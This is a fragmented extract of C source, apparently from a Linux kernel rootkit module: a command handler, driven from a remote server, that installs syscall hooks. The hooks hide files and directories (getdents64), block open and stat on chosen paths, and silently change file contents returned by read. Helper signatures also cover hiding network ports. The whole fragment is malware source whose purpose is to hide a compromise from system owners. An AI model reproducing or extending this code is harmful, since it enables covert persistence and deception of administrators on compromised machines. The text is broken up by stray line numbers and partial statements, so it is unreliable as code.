3#include <linux/kernel.h>
5#include <linux/string.h>
28 {
"hide", 4,
"hide a file or directory (getdents64 hook)", 43,
37 {
"forbid", 6,
"forbid open/stat on a file (openat/stat/lstat... hook)", 55,
43 "[CAREFUL] modify a file with hide/replace operation (read hook)", 64,
48 {
"help", 4,
"display hooks help menu", 25,
hooks_help },
49 { NULL, 0, NULL, 0, NULL }
55 int off = snprintf(buf,
STD_BUFFER_SIZE,
"Available hooks commands:\n");
181 char *hide_substr = NULL;
182 char *replace_src = NULL;
183 char *replace_dst = NULL;
189 path = strsep(&args,
" ");
190 if (!path || path[0] !=
'/') {
191 send_to_server(protocol,
"Usage: hooks modify /full/path [hide_line=N] "
192 "[hide_substr=TXT] [replace=SRC:DST]\n");
196 while (args && *args) {
197 token = strsep(&args,
" ");
198 if (!token || *token ==
'\0')
201 if (strncmp(token,
"hide_line=", 10) == 0) {
202 char *num = token + 10;
205 hide_line = simple_strtol(num, NULL, 10);
208 else if (strncmp(token,
"hide_substr=", 12) == 0) {
209 char *txt = token + 12;
215 hide_substr = kstrdup(txt, GFP_KERNEL);
222 else if (strncmp(token,
"replace=", 8) == 0) {
223 char *arg = token + 8;
224 char *colon = strchr(arg,
':');
226 if (!colon || colon == arg || *(colon + 1) ==
'\0') {
229 "Usage: replace=SRC:DST (SRC and/or DST empty, without spaces)\n");
237 replace_src = kstrdup(arg, GFP_KERNEL);
243 replace_dst = kstrdup(colon, GFP_KERNEL);
250 send_to_server(protocol,
"Usage: hooks modify /full/path [hide_line=N] "
251 "[hide_substr=TXT] [replace=SRC:DST]\n");
258 DBG_MSG(
"modify_file_handler: path='%s', hide_line=%ld, hide_substr='%s', "
259 "replace_src='%s', replace_dst='%s'\n",
260 path, hide_line, hide_substr ? hide_substr :
"NULL",
261 replace_src ? replace_src :
"NULL",
262 replace_dst ? replace_dst :
"NULL");
264 ret =
alterate_add(path, hide_line, hide_substr, replace_src, replace_dst);
274 return ret >= 0 ? 0 : ret;
284 send_to_server(protocol,
"Error while removing %s: %d\n", args, r);
290 char *cmd = strsep(&args,
" \t");
305 send_to_server(protocol,
"Unknown hooks cmd '%s', try 'hooks help'\n", cmd);
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
int alterate_remove(const char *path)
int alterate_list_get(char *buf, size_t buf_size)
#define DBG_MSG(fmt, args...)
int forbid_file(const char *path)
int unforbid_file(const char *path)
int forbid_list_get(char *buf, size_t buf_size)
int hide_file(const char *path)
int port_list_get(char *buf, size_t buf_size)
int hide_list_get(char *buf, size_t buf_size)
int hide_port(const char *port)
int unhide_port(const char *port)
int unhide_file(const char *path)
int send_to_server(enum Protocol protocol, char *message,...)
int(* cmd_handler)(char *args, enum Protocol protocol)